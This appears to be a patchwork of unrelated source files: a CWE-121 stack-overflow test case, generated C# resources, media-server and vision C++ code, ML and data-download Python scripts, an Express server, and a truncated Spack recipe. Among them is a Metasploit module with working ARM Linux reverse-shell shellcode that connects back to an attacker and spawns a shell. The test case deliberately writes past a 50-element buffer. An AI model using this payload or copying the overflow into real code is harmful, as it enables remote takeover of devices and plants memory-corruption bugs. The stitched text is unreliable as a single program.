/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_loop_33.cpp Label Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE805.string.label.xml Template File: sources-sink-33.tmpl.cpp */ /* * @description * CWE: 121 Stack Based Buffer Overflow * BadSource: Set data pointer to the bad buffer * GoodSource: Set data pointer to the good buffer * Sinks: loop * BadSink : Copy string to data using a loop * Flow Variant: 33 Data flow: use of a C++ reference to data within the same function * * */ #include "std_testcase.h" #include <wchar.h> namespace CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_loop_33 { #ifndef OMITBAD void bad() { wchar_t * data; wchar_t * &dataRef = data; wchar_t * dataBadBuffer = (wchar_t *)ALLOCA(50*sizeof(wchar_t)); wchar_t * dataGoodBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t)); /* FLAW: Set a pointer to a "small" buffer. This buffer will be used in the sinks as a destination * buffer in various memory copying functions using a "large" source buffer. */ data = dataBadBuffer; data[0] = L'\0'; /* null terminate */ { wchar_t * data = dataRef; { size_t i; wchar_t source[100]; wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */ for (i = 0; i < 100; i++) { data[i] = source[i]; } data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); } } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B() uses the GoodSource with the BadSink */ static void goodG2B() { wchar_t * data; wchar_t * &dataRef = data; wchar_t * dataBadBuffer = (wchar_t *)ALLOCA(50*sizeof(wchar_t)); wchar_t * dataGoodBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t)); /* FIX: Set a pointer to a "large" buffer, thus avoiding buffer overflows in the sinks. */ data = dataGoodBuffer; data[0] = L'\0'; /* null terminate */ { wchar_t * data = dataRef; { size_t i; wchar_t source[100]; wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */ for (i = 0; i < 100; i++) { data[i] = source[i]; } data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); } } } void good() { goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on * its own for testing or for building a binary to use in testing binary * analysis tools. It is not used when compiling all the testcases as one * application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_loop_33; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.34011 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace SerialLabs.Data.AzureTable.Properties { /// <summary> /// A strongly-typed resource class, for looking up localized strings, etc. /// </summary> // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// <summary> /// Returns the cached ResourceManager instance used by this class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SerialLabs.Data.AzureTable.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// <summary> /// Looks up a localized string similar to Unable to cast type &apos;{0}&apos; to target type &apos;{1}&apos;.. /// </summary> internal static string ExpressionEvaluatorInvalidCast { get { return ResourceManager.GetString("ExpressionEvaluatorInvalidCast", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Type &apos;{0}&apos; is not supported.. /// </summary> internal static string ExpressionEvaluatorTypeNotSupported { get { return ResourceManager.GetString("ExpressionEvaluatorTypeNotSupported", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Unable to get value of the node: &apos;{0}&apos;.. /// </summary> internal static string ExpressionEvaluatorUnableToEvaluate { get { return ResourceManager.GetString("ExpressionEvaluatorUnableToEvaluate", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Unable to serialize type: &apos;{0}&apos;.. /// </summary> internal static string SerializationExtensionsNotSupportedType { get { return ResourceManager.GetString("SerializationExtensionsNotSupportedType", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Member &apos;{0}&apos; does not supported.. /// </summary> internal static string TranslatorMemberNotSupported { get { return ResourceManager.GetString("TranslatorMemberNotSupported", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Invalid method &apos;{0}&apos; arguments.. /// </summary> internal static string TranslatorMethodInvalidArgument { get { return ResourceManager.GetString("TranslatorMethodInvalidArgument", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Method &apos;{0}&apos; does not supported.. /// </summary> internal static string TranslatorMethodNotSupported { get { return ResourceManager.GetString("TranslatorMethodNotSupported", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Operator &apos;{0}&apos; does not supported.. /// </summary> internal static string TranslatorOperatorNotSupported { get { return ResourceManager.GetString("TranslatorOperatorNotSupported", resourceCulture); } } /// <summary> /// Looks up a localized string similar to Unable to evaluate an expression: &apos;{0}&apos;.. /// </summary> internal static string TranslatorUnableToEvaluateExpression { get { return ResourceManager.GetString("TranslatorUnableToEvaluateExpression", resourceCulture); } } } }
/** @file appmodule.cpp @brief This file is part of Kalinka mediaserver. @author Ivan Murashko <ivan.murashko@gmail.com> Copyright (c) 2007-2012 Kalinka Team Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. CHANGE HISTORY @date - 2009/04/02 created by ipp (Ivan Murashko) - 2009/08/02 header was changed by header.py script - 2010/01/06 header was changed by header.py script - 2011/01/01 header was changed by header.py script - 2012/02/03 header was changed by header.py script */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "appmodule.h" #include "exception.h" #include "cliapp.h" #include "db.h" using namespace klk::app; // // Module class // // Constructor Module::Module(klk::IFactory* factory, const std::string& modid, const std::string& setmsgid, const std::string& showmsgid) : klk::ModuleWithDB(factory, modid), m_appuuid_mutex(), m_appuuid(), m_setmsgid(setmsgid), m_showmsgid(showmsgid) { BOOST_ASSERT(m_setmsgid.empty() == false); BOOST_ASSERT(m_showmsgid.empty() == false); BOOST_ASSERT(m_setmsgid != m_showmsgid); } // Retrives application uuid const std::string Module::getAppUUID() { using namespace klk; Locker lock(&m_appuuid_mutex); if (m_appuuid.empty()) { // retrive application id // `klk_application_uuid_get` ( // IN module VARCHAR(40), // IN host VARCHAR(40), // OUT application VARCHAR(40) db::DB db(getFactory()); db.connect(); db::Parameters params; params.add("@module", getID()); params.add("@host", db.getHostUUID()); params.add("@application"); db::Result res = db.callSimple("klk_application_uuid_get", params); if (res["@application"].isNull()) { throw Exception(__FILE__, __LINE__, "DB error while retriving application uuid"); } m_appuuid = res["@application"].toString(); } return m_appuuid; } // Register all processors void Module::registerProcessors() { using namespace klk; ModuleWithDB::registerProcessors(); registerCLI(cli::ICommandPtr(new cli::AutostartSet(m_setmsgid))); registerCLI(cli::ICommandPtr(new cli::AutostartShow(m_showmsgid))); }
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Linux Command Shell, Reverse TCP Inline', 'Description' => 'Connect back to attacker and spawn a command shell', 'Author' => 'civ', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShellUnix, 'Payload' => { 'Offsets' => { 'LHOST' => [ 172, 'ADDR' ], 'LPORT' => [ 170, 'n' ], }, 'Payload' => [ #### Tested successfully on: # Linux 2.6.29.6-cm42 armv6l # Linux 2.6.29.6-cyanogenmod armv6l # Linux version 2.6.25-00350-g40fff9a armv5l # Linux version 2.6.27-00110-g132305e armv5l # Linux version 2.6.29-00177-g24ee4d2 armv5l # Linux version 2.6.29-00255-g7ca5167 armv5l # # Probably requires process to have INTERNET permission # or root. #### # socket(2,1,6) 0xe3a00002, # mov r0, #2 ; 0x2 0xe3a01001, # mov r1, #1 ; 0x1 0xe2812005, # add r2, r1, #5 ; 0x5 0xe3a0708c, # mov r7, #140 ; 0x8c 0xe287708d, # add r7, r7, #141 ; 0x8d 0xef000000, # svc 0x00000000 # connect(soc, socaddr, 0x10) 0xe1a06000, # mov r6, r0 0xe28f1084, # 1dr r1, pc, #132 ; 0x84 0xe3a02010, # mov r2, #16 ; 0x10 0xe3a0708d, # mov r7, #141 ; 0x8d 0xe287708e, # add r7, r7, #142 ; 0x8e 0xef000000, # svc 0x00000000 # dup2(soc,0) @stdin 0xe1a00006, # mov r0, r6 0xe3a01000, # mov r1, #0 ; 0x0 0xe3a0703f, # mov r7, #63 ; 0x3f 0xef000000, # svc 0x00000000 # dup2(soc,1) @stdout 0xe1a00006, # mov r0, r6 0xe3a01001, # mov r1, #1 ; 0x1 0xe3a0703f, # mov r7, #63 ; 0x3f 0xef000000, # svc 0x00000000 # dup2(soc,2) @stderr 0xe1a00006, # mov r0, r6 0xe3a01002, # mov r1, #2 ; 0x2 0xe3a0703f, # mov r7, #63 ; 0x3f 0xef000000, # svc 0x00000000 # execve("/system/bin/sh", args, env) # Shrink me here. I am lame. 0xe28f0048, # add r0, pc, #72 ; 0x48 0xe0244004, # eor r4, r4, r4 0xe92d0010, # push {r4} 0xe1a0200d, # mov r2, sp 0xe92d0004, # push {r2} 0xe1a0200d, # mov r2, sp 0xe92d0010, # push {r4} 0xe59f1048, # ldr r1, [pc, #72] ; 8124 <env+0x8> 0xe92d0002, # push {r1} 0xe92d2000, # push {sp} 0xe1a0100d, # mov r1, sp 0xe92d0004, # push {r2} 0xe1a0200d, # mov r2, sp 0xe3a0700b, # mov r7, #11 ; 0xb 0xef000000, # svc 0x00000000 # exit(0) 0xe3a00000, # mov r0, #0 ; 0x0 0xe3a07001, # mov r7, #1 ; 0x1 0xef000000, # svc 0x00000000 # <af>: # port offset = 170, ip offset = 172 0x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2 0x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.1 # <shell>: 0x00000000, # .word 0x00000000 ; the shell goes here! 0x00000000, # .word 0x00000000 0x00000000, # .word 0x00000000 0x00000000, # .word 0x00000000 # <arg>: 0x00000000 # .word 0x00000000 ; the args! ].pack("V*") } )) # Register command execution options register_options( [ OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]), OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ]) ], self.class) end def generate p = super sh = datastore['SHELL'] if sh.length >= 16 raise ArgumentError, "The specified shell must be less than 16 bytes." end p[176, sh.length] = sh arg = datastore['SHELLARG'] if arg if arg.length >= 4 raise ArgumentError, "The specified shell argument must be less than 4 bytes." end p[192, arg.length] = arg end p end end
/** * Copyright (c) 2019 Horizon Robotics. All rights reserved. * @File: LmkPosePostPredictor.cpp * @Brief: definition of the LmkPosePostPredictor * @Author: zhengzheng.ge * @Email: zhengzheng.ge@horizon.ai * @Date: 2019-07-17 14:27:05 * @Last Modified by: zhengzheng.ge * @Last Modified time: 2019-07-17 15:18:10 */ #include "CNNMethod/PostPredictor/LmkPosePostPredictor.h" #include <vector> #include "CNNMethod/CNNConst.h" #include "CNNMethod/util/util.h" #include "hobotlog/hobotlog.hpp" #include "hobotxstream/profiler.h" namespace xstream { void LmkPosePostPredictor::Do(CNNMethodRunData *run_data) { int batch_size = run_data->input_dim_size.size(); run_data->output.resize(batch_size); for (int batch_idx = 0; batch_idx < batch_size; batch_idx++) { int dim_size = run_data->input_dim_size[batch_idx]; auto &mxnet_output = run_data->mxnet_output[batch_idx]; std::vector<BaseDataPtr> &batch_output = run_data->output[batch_idx]; batch_output.resize(output_slot_size_); for (int i = 0; i < output_slot_size_; i++) { auto base_data_vector = std::make_shared<BaseDataVector>(); batch_output[i] = std::static_pointer_cast<BaseData>(base_data_vector); } { RUN_PROCESS_TIME_PROFILER(model_name_ + "_post"); RUN_FPS_PROFILER(model_name_ + "_post"); auto boxes = std::static_pointer_cast<BaseDataVector>( (*(run_data->input))[batch_idx][0]); for (int dim_idx = 0; dim_idx < dim_size; dim_idx++) { std::vector<BaseDataPtr> output; auto xstream_box = std::static_pointer_cast<XStreamData< hobot::vision::BBox>>(boxes->datas_[dim_idx]); HandleLmkPose(mxnet_output[dim_idx], xstream_box->value, run_data->real_nhwc, &output); for (int i = 0; i < output_slot_size_; i++) { auto base_data_vector = std::static_pointer_cast<BaseDataVector>(batch_output[i]); base_data_vector->datas_.push_back(output[i]); } } } } } void LmkPosePostPredictor::HandleLmkPose( const std::vector<std::vector<int8_t>> &mxnet_outs, const hobot::vision::BBox &box, const std::vector<std::vector<uint32_t>> &nhwc, std::vector<BaseDataPtr> *output) { if (mxnet_outs.size()) { auto lmk = LmkPostPro(mxnet_outs, box, nhwc); output->push_back(lmk); if (mxnet_outs.size() > 3) { auto pose = PosePostPro(mxnet_outs[3]); output->push_back(pose); } else { auto pose = std::make_shared<XStreamData<hobot::vision::Pose3D>>(); pose->state_ = DataState::INVALID; output->push_back(std::static_pointer_cast<BaseData>(pose)); } } else { auto landmarks = std::make_shared<XStreamData<hobot::vision::Landmarks>>(); landmarks->state_ = DataState::INVALID; output->push_back(std::static_pointer_cast<BaseData>(landmarks)); auto pose = std::make_shared<XStreamData<hobot::vision::Pose3D>>(); pose->state_ = DataState::INVALID; output->push_back(std::static_pointer_cast<BaseData>(pose)); } } BaseDataPtr LmkPosePostPredictor::LmkPostPro( const std::vector<std::vector<int8_t>> &mxnet_outs, const hobot::vision::BBox &box, const std::vector<std::vector<uint32_t>> &nhwc) { static const float SCORE_THRESH = 0.0; static const float REGRESSION_RADIUS = 3.0; static const float STRIDE = 4.0; static const float num = 1; static const float height_m = 16; static const float width_m = 16; auto fl_scores = reinterpret_cast<const float *>(mxnet_outs[0].data()); auto fl_coords = reinterpret_cast<const float *>(mxnet_outs[1].data()); std::vector<std::vector<float>> points_score; std::vector<std::vector<float>> points_x; std::vector<std::vector<float>> points_y; points_score.resize(5); points_x.resize(5); points_y.resize(5); // nhwc, 1x16x16x5, 1x16x16x10 for (int n = 0; n < num; ++n) { // n for (int i = 0; i < height_m; ++i) { // h for (int j = 0; j < width_m; ++j) { // w int index_score = n * nhwc[0][1] * nhwc[0][2] * nhwc[0][3] + i * nhwc[0][2] * nhwc[0][3] + j * nhwc[0][3]; int index_coords = n * nhwc[1][1] * nhwc[1][2] * nhwc[0][3] + i * nhwc[1][2] * nhwc[1][3] + j * nhwc[1][3]; for (int k = 0; k < 5; ++k) { // c auto score = fl_scores[index_score + k]; if (score > SCORE_THRESH) { points_score[k].push_back(score); float x = (j + 0.5 - fl_coords[index_coords + 2 * k] * REGRESSION_RADIUS) * STRIDE; float y = (i + 0.5 - fl_coords[index_coords + 2 * k + 1] * REGRESSION_RADIUS) * STRIDE; x = std::min(std::max(x, 0.0f), width_m * STRIDE); y = std::min(std::max(y, 0.0f), height_m * STRIDE); points_x[k].push_back(x); points_y[k].push_back(y); } } } } } auto landmarks = std::make_shared<XStreamData<hobot::vision::Landmarks>>(); landmarks->value.values.resize(5); for (int i = 0; i < 5; ++i) { auto &poi = landmarks->value.values[i]; poi.x = Mean(points_x[i]); poi.y = Mean(points_y[i]); poi.x = box.x1 + poi.x / 64 * (box.x2 - box.x1); poi.y = box.y1 + poi.y / 64 * (box.y2 - box.y1); poi.score = static_cast<float>(points_score[i].size()); if (poi.score <= 0.000001 && mxnet_outs.size() > 2) { auto reg_coords = reinterpret_cast<const float *>(mxnet_outs[2].data()); poi.x = box.x1 + reg_coords[i << 1] * (box.x2 - box.x1); poi.y = box.y1 + reg_coords[(i << 1) + 1] * (box.y2 - box.y1); } } return std::static_pointer_cast<BaseData>(landmarks); } BaseDataPtr LmkPosePostPredictor::PosePostPro( const std::vector<int8_t> &mxnet_outs) { auto pose = std::make_shared<XStreamData<hobot::vision::Pose3D>>(); auto mxnet_out = reinterpret_cast<const float *>(mxnet_outs.data()); pose->value.yaw = mxnet_out[0] * 90.0; pose->value.pitch = mxnet_out[1] * 90.0; pose->value.roll = mxnet_out[2] * 90.0; return std::static_pointer_cast<BaseData>(pose); } } // namespace xstream
# coding=utf-8 # Copyright (c) 2020 NVIDIA CORPORATION. All rights reserved. # Copyright 2020 Division of Medical Image Computing, German Cancer Research Center (DKFZ), Heidelberg, Germany # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This file has been copied from # https://github.com/mlcommons/inference/blob/r0.7/vision/medical_imaging/3d-unet/preprocess.py import argparse import numpy import os import pickle import sys import torch from batchgenerators.augmentations.utils import pad_nd_image from batchgenerators.utilities.file_and_folder_operations import subfiles from nnunet.training.model_restore import load_model_and_checkpoint_files from nnunet.inference.predict import preprocess_multithreaded def preprocess_MLPerf(model, checkpoint_name, folds, fp16, list_of_lists, output_filenames, preprocessing_folder, num_threads_preprocessing): assert len(list_of_lists) == len(output_filenames) print("loading parameters for folds", folds) trainer, params = load_model_and_checkpoint_files(model, folds, fp16, checkpoint_name=checkpoint_name) print("starting preprocessing generator") preprocessing = preprocess_multithreaded(trainer, list_of_lists, output_filenames, num_threads_preprocessing, None) print("Preprocessing images...") all_output_files = [] for preprocessed in preprocessing: output_filename, (d, dct) = preprocessed all_output_files.append(output_filename) if isinstance(d, str): data = np.load(d) os.remove(d) d = data # Pad to the desired full volume d = pad_nd_image(d, trainer.patch_size, "constant", None, False, None) with open(os.path.join(preprocessing_folder, output_filename+ ".pkl"), "wb") as f: pickle.dump([d, dct], f) f.close() return all_output_files def preprocess_setup(preprocessed_data_dir): print("Preparing for preprocessing data...") # Validation set is fold 1 fold = 1 validation_fold_file = '../models/image_segmentation/tensorflow/3d_unet_mlperf/inference/nnUNet/folds/fold1_validation.txt' # Make sure the model exists model_dir = 'build/result/nnUNet/3d_fullres/Task043_BraTS2019/nnUNetTrainerV2__nnUNetPlansv2.mlperf.1' model_path = os.path.join(model_dir, "plans.pkl") assert os.path.isfile(model_path), "Cannot find the model file {:}!".format(model_path) checkpoint_name = "model_final_checkpoint" # Other settings fp16 = False num_threads_preprocessing = 12 raw_data_dir = 'build/raw_data/nnUNet_raw_data/Task043_BraTS2019/imagesTr' # Open list containing validation images from specific fold (e.g. 1) validation_files = [] with open(validation_fold_file) as f: for line in f: validation_files.append(line.rstrip()) # Create output and preprocessed directory if not os.path.isdir(preprocessed_data_dir): os.makedirs(preprocessed_data_dir) # Create list of images locations (i.e. 4 images per case => 4 modalities) all_files = subfiles(raw_data_dir, suffix=".nii.gz", join=False, sort=True) list_of_lists = [[os.path.join(raw_data_dir, i) for i in all_files if i[:len(j)].startswith(j) and len(i) == (len(j) + 12)] for j in validation_files] # Preprocess images, returns filenames list # This runs in multiprocess print("Acually preprocessing data...") preprocessed_files = preprocess_MLPerf(model_dir, checkpoint_name, fold, fp16, list_of_lists, validation_files, preprocessed_data_dir, num_threads_preprocessing) print("Saving metadata of the preprocessed data...") with open(os.path.join(preprocessed_data_dir, "preprocessed_files.pkl"), "wb") as f: pickle.dump(preprocessed_files, f) print("Preprocessed data saved to {:}".format(preprocessed_data_dir)) print("Done!")
"""Get example scripts, notebooks, and data files.""" import argparse from datetime import datetime, timedelta from glob import glob import json import os import pkg_resources from progressbar import ProgressBar try: # For Python 3.0 and later from urllib.request import urlopen except ImportError: # Fall back to Python 2's urllib2 from urllib2 import urlopen import shutil import sys example_data_files = ( ["MovingEddies_data/" + fn for fn in [ "moving_eddiesP.nc", "moving_eddiesU.nc", "moving_eddiesV.nc"]] + ["OFAM_example_data/" + fn for fn in [ "OFAM_simple_U.nc", "OFAM_simple_V.nc"]] + ["Peninsula_data/" + fn for fn in [ "peninsulaU.nc", "peninsulaV.nc", "peninsulaP.nc"]] + ["GlobCurrent_example_data/" + fn for fn in [ "%s000000-GLOBCURRENT-L4-CUReul_hs-ALT_SUM-v02.0-fv01.0.nc" % ( date.strftime("%Y%m%d")) for date in ([datetime(2002, 1, 1) + timedelta(days=x) for x in range(0, 365)] + [datetime(2003, 1, 1)])]] + ["DecayingMovingEddy_data/" + fn for fn in [ "decaying_moving_eddyU.nc", "decaying_moving_eddyV.nc"]] + ["NemoCurvilinear_data/" + fn for fn in [ "U_purely_zonal-ORCA025_grid_U.nc4", "V_purely_zonal-ORCA025_grid_V.nc4", "mesh_mask.nc4"]] + ["NemoNorthSeaORCA025-N006_data/" + fn for fn in [ "ORCA025-N06_20000104d05U.nc", "ORCA025-N06_20000109d05U.nc", "ORCA025-N06_20000104d05V.nc", "ORCA025-N06_20000109d05V.nc", "ORCA025-N06_20000104d05W.nc", "ORCA025-N06_20000109d05W.nc", "coordinates.nc"]]) example_data_url = "http://oceanparcels.org/examples-data" def _maybe_create_dir(path): """Create directory (and parents) if they don't exist.""" try: os.makedirs(path) except OSError: if not os.path.isdir(path): raise def copy_data_and_examples_from_package_to(target_path): """Copy example data from Parcels directory. Return thos parths of the list `file_names` that were not found in the package. """ examples_in_package = pkg_resources.resource_filename("parcels", "examples") try: shutil.copytree(examples_in_package, target_path) except Exception as e: print(e) pass def set_jupyter_kernel_to_python_version(path, python_version=2): """Set notebook kernelspec to desired python version. This also drops all other meta data from the notebook. """ for file_name in glob(os.path.join(path, "*.ipynb")): with open(file_name, 'r') as f: notebook_data = json.load(f) notebook_data['metadata'] = {"kernelspec": { "display_name": "Python {}".format(python_version), "language": "python", "name": "python{}".format(python_version)}} with open(file_name, 'w') as f: json.dump(notebook_data, f, indent=2) def _still_to_download(file_names, target_path): """Only return the files that are not yet present on disk.""" for fn in list(file_names): if os.path.exists(os.path.join(target_path, fn)): file_names.remove(fn) return file_names def download_files(source_url, file_names, target_path): """Mirror file_names from source_url to target_path.""" _maybe_create_dir(target_path) pbar = ProgressBar() print("Downloading %s ..." % (source_url.split("/")[-1])) for filename in pbar(file_names): _maybe_create_dir(os.path.join(target_path, os.path.dirname(filename))) if not os.path.exists(os.path.join(target_path, filename)): download_url = source_url + "/" + filename src = urlopen(download_url) with open(os.path.join(target_path, filename), 'wb') as dst: dst.write(src.read()) def main(target_path=None): """Get example scripts, example notebooks, and example data. Copy the examples from the package directory and get the example data either from the package directory or from the Parcels website. """ if target_path is None: # get targe directory parser = argparse.ArgumentParser( description="Get Parcels example data.") parser.add_argument( "target_path", help="Where to put the tutorials? (This path will be created.)") args = parser.parse_args() target_path = args.target_path if os.path.exists(target_path): print("Error: {} already exists.".format(target_path)) return # copy data and examples copy_data_and_examples_from_package_to(target_path) # make sure the notebooks use the correct python version set_jupyter_kernel_to_python_version( target_path, python_version=sys.version_info[0]) # try downloading remaining files remaining_example_data_files = _still_to_download( example_data_files, target_path) download_files(example_data_url, remaining_example_data_files, target_path) if __name__ == "__main__": main()
const express = require('express'); const cors = require('cors'); const bodyParser = require('body-parser'); const session = require('express-session'); const MYSQLStore = require('express-session-sequelize')(session.Store); const next = require('next'); const compression = require('compression'); const helmet = require('helmet'); // const Sequelize = require('sequelize'); const logger = require('./logger'); const { insertTemplates } = require('./models/EmailTemplate'); const getRootUrl = require('../lib/api/getRootUrl'); // const User = require('./models/User'); const { initMigrateData } = require('./models/Group'); const { newMysqlInstance } = require('./utils/utils'); const setupGoogle = require('./google'); const fileSystem = require('./filesystem'); const api = require('./api'); require('dotenv').config(); const dev = process.env.NODE_ENV !== 'production'; // const MONGO_URL = process.env.MONGO_URL_TEST; // const options = { // useNewUrlParser: true, // useCreateIndex: true, // useFindAndModify: false, // useUnifiedTopology: true, // }; const port = process.env.PORT || 8000; const ROOT_URL = getRootUrl(); const URL_MAP = { '/login': '/public/login', '/contact': '/public/contact', }; const app = next({ dev }); const handle = app.getRequestHandler(); const myDatabase = newMysqlInstance(); // const myDatabase = new Sequelize(process.env.MYSQL_DATABASE, process.env.MYSQL_USER, process.env.MYSQL_PASSWORD, { // host: process.env.MYSQL_SERVER, // dialect: 'mysql', // }); // Nextjs's server prepared app.prepare().then(async () => { // await tf.setBackend('cpu'); const server = express(); server.use(helmet({ contentSecurityPolicy: false })); server.use(compression()); if (process.env.REQUIRE_INIT_GROUP === 'true') { console.log('Starting initiate Group Data'); try { await initMigrateData(); console.log('Initiate Group Data Done.'); } catch (err) { console.error('Init Group error:', err); } } // confuring mysql session store const sess = { name: process.env.SESSION_NAME, secret: process.env.SESSION_SECRET, store: new MYSQLStore({ db: myDatabase }), resave: false, saveUninitialized: false, cookie: { httpOnly: true, maxAge: 14 * 24 * 60 * 60 * 1000, domain: process.env.COOKIE_DOMAIN, }, }; if (!dev) { server.set('trust proxy', 1); // sets req.hostname, req.ip sess.cookie.secure = false; // sets cookie over HTTPS only } server.use(session(sess)); await insertTemplates(); server.use(cors()); server.use(bodyParser.urlencoded({ extended: true, parameterLimit: 100000, limit: '50mb' })); server.use(bodyParser.json({ limit: '50mb' })); // server.get('/', async (req, res) => { // // await User.create({ // // department: 'AI Research', // // displayName: 'Jia Wang', // // email: 'jia.wang@nhfc.com', // // googleId: process.env.GOOGLE_CLIENTID, // // avatarUrl: // // 'https://lh3.googleusercontent.com/-XdUIqdMkCWA/AAAAAAAAAAI/AAAAAAAAAAA/4252rscbv5M/photo.jpg?sz=128', // // }); // const user = await User.findOne({ department: 'AI Research' }); // req.user = user; // app.render(req, res, '/'); // }); setupGoogle({ server, ROOT_URL }); fileSystem({ server }); api(server); // server.get('*', (req, res) => handle(req, res)); server.get('*', (req, res) => { const url = URL_MAP[req.path]; if (url) { app.render(req, res, url); } else { handle(req, res); } }); // starting express server server.listen(port, (err) => { if (err) throw err; logger.info(`> Ready on ${ROOT_URL}`); // eslint-disable-line no-console }); });
# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) import sys from spack import * class ScalapackBase(CMakePackage): """Base class for building ScaLAPACK, shared with the AMD optimized version of the library in the 'amdscalapack' package. """ variant( 'build_type', default='Release', description='CMake build type', values=('Debug', 'Release', 'RelWithDebInfo', 'MinSizeRel')) variant( 'shared', default=True, description='Build the shared library version' ) variant( 'pic', default=False, description='Build position independent code' ) provides('scalapack') depends_on('mpi') depends_on('lapack') depends_on('blas') depends_on('cmake', when='@2.0.0:', type='build') # See: https://github.com/Reference-ScaLAPACK/scalapack/issues/9 patch("cmake_fortran_mangle.patch", when='@2.0.2:2.0') # See: https://github.com/Reference-ScaLAPACK/scalapack/pull/10 patch("mpi2-compatibility.patch", when='@2.0.2:2.0') # See: https://github.com/Reference-ScaLAPACK/scalapack/pull/16 patch("int_overflow.patch", when='@2.0.0:2.1.0') # See: https://github.com/Reference-ScaLAPACK/scalapack/pull/23 patch("gcc10-compatibility.patch", when='@2.0.0:2.1.0') @property def libs(self): # Note that the default will be to search # for 'libnetlib-scalapack.<suffix>' shared = True if '+shared' in self.spec else False return find_libraries( 'libscalapack', root=self.prefix, shared=shared, recursive=True ) def cmake_args(self): spec = 